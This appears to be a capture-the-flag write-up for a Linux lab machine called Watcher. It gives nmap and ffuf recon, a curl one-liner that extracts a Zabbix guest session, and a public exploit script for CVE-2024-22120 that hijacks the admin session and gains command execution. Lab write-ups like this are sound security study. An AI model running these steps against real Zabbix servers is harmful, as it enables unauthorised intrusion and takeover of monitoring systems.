Watcher
Watcher is a medium Linux box centred on a Zabbix monitoring server. A vhost leads to a Zabbix 7.0.0alpha1 instance with guest login enabled, and that low-privilege session is enough to drive CVE-2024-22120 — a time-based SQL injection in the Zabbix trapper protocol — to hijack the super-admin session and gain remote code execution as the zabbix user. This post covers recon through the foothold shell and the user flag.
Overview
Watcher is a medium-difficulty Linux machine built around Zabbix. Enumeration of the web server reveals a zabbix subdomain running Zabbix 7.0.0alpha1 with guest login enabled. That guest session provides everything CVE-2024-22120 needs: a low-privilege session ID plus any visible host ID. The vulnerability is a time-based blind SQL injection in the Zabbix trapper service (TCP 10051) that lets us read the super-admin’s session token out of the database, replay it against the Zabbix API, and execute commands as the zabbix user — landing the user flag.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 8.9p1 | Ubuntu |
| 80 | Apache 2.4.52 | redirects to http://watcher.vl/ |
| 10050 | zabbix-agent | tcpwrapped |
| 10051 | zabbix-trapper | tcpwrapped |
1
2
nmap -Pn -p- --min-rate=1000 -T4 10.129.234.163
nmap -Pn -p22,80,10050,10051 -sC -sV 10.129.234.163
Port 80 redirects to watcher.vl, so we add it to /etc/hosts. The presence of Zabbix agent/trapper ports (10050/10051) strongly hints a Zabbix server is in play.
Enumeration
The landing page is a monitoring app. Fuzzing for vhosts surfaces a zabbix subdomain:
1
2
3
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://watcher.vl/ -H 'Host: FUZZ.watcher.vl' -fs 4991
# -> zabbix
Browsing zabbix.watcher.vl shows a Zabbix login. The footer reveals the version — Zabbix 7.0.0alpha1 — and guest login is enabled, so we can pull a valid low-privilege session cookie without any credentials:
1
2
3
curl -s -i -H "Host: zabbix.watcher.vl" http://10.129.234.163/index.php \
| grep -oP 'zbx_session=\K[^;]+' | sed 's/%3D/=/g' | base64 -d
# -> {"sessionid":"7b86b5b11c52f509935b3331056f5096", ...}
Zabbix 7.0.0alpha1 is vulnerable to CVE-2024-22120. The exploit needs a session ID (the guest one above) and a host ID — the default Zabbix server host is 10084, visible under Inventory.
Foothold
CVE-2024-22120 is a time-based blind SQL injection in the clientip field of a script-execution request sent to the Zabbix trapper protocol on TCP 10051. We use it to read the super-admin (user id 1) session token one character at a time from the sessions table, then replay that token against the Zabbix API (script.create / script.execute) to run shell commands as the zabbix user.
1
2
3
4
5
6
# W01fh4cker/CVE-2024-22120-RCE — SQLi over :10051, exec over api_jsonrpc.php
python3 CVE-2024-22120-RCE.py --ip zabbix.watcher.vl \
--sid 7b86b5b11c52f509935b3331056f5096 --hostid 10084
# (!) sessionid=e29cc8d946f1a3135fe7ceec60d0ff0d
# [zabbix_cmd]>>: id
# uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
We have code execution as zabbix.
User flag
1
cat /user.txt # HTB{...}
Access as zabbix achieved and the user flag captured.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.